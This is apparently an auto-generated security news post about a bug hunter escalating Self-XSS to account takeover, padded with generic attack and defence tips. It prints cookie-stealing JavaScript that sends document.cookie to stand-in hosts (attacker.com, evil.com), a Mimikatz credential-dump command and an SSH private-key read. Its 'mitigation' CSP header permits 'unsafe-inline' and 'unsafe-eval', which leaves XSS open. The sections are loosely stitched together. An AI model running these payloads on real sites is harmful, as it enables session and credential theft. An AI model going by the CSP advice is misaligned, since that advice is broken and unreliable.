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Amr Mustafa, a Penetration Tester at Bugswagger and Bug Hunter at HackerOne, recently shared his experience uncovering a critical vulnerability. Starting from a Self-XSS flaw, he escalated it to a full Account Takeover (ATO) after 30 hours of intensive work. A detailed write-up is expected soon.
You Should Know:
1. Understanding Self-XSS
Self-XSS (Cross-Site Scripting) is a client-side vulnerability where malicious JavaScript executes only if the victim pastes it into their browser console. Attackers often use social engineering to trick users into running the payload.
Example Payload:
alert(document.cookie); // Basic XSS test
2. Escalating to Stored XSS
If the application reflects user input unsafely, Self-XSS can sometimes be converted into Stored XSS:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie);</script>
3. Exploiting XSS for Account Takeover
Once XSS is confirmed, attackers can:
- Steal session cookies.
- Perform CSRF attacks.
- Modify account settings (email/password).
Cookie Theft via XSS:
var img = new Image(); img.src = 'http://evil.com/log?cookie=' + encodeURIComponent(document.cookie);
4. Mitigation Techniques
- Implement Content Security Policy (CSP) headers:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
- Use HttpOnly and Secure flags for cookies.
- Sanitize user input with libraries like DOMPurify.
5. Post-Exploitation: Lateral Movement
If an ATO is successful, attackers may:
- Use Mimikatz (Windows) to extract credentials:
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
- Check for SSH keys (Linux):
cat ~/.ssh/id_rsa
What Undercode Say:
Escalating from Self-XSS to ATO requires persistence and creativity. Always test for:
– DOM-based vulnerabilities (eval(), innerHTML).
– Insecure API endpoints that accept malicious input.
– Weak session management (e.g., non-rotating tokens).
Key Commands for Bug Hunters:
- Linux:
grep -r "document.cookie" /var/www/html Find JS cookie handling
- Windows:
Get-ChildItem -Path C:\inetpub\wwwroot -Recurse -Include .js | Select-String "innerHTML"
Expected Output:
A full technical write-up from Amr Mustafa, detailing:
1. Initial Self-XSS discovery.
2. Exploitation path to ATO.
3. Vendor response and patch timeline.
4. Lessons learned for defensive hardening.
(Stay tuned for the full report!)
References:
Reported By: Amr Mustafa11 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
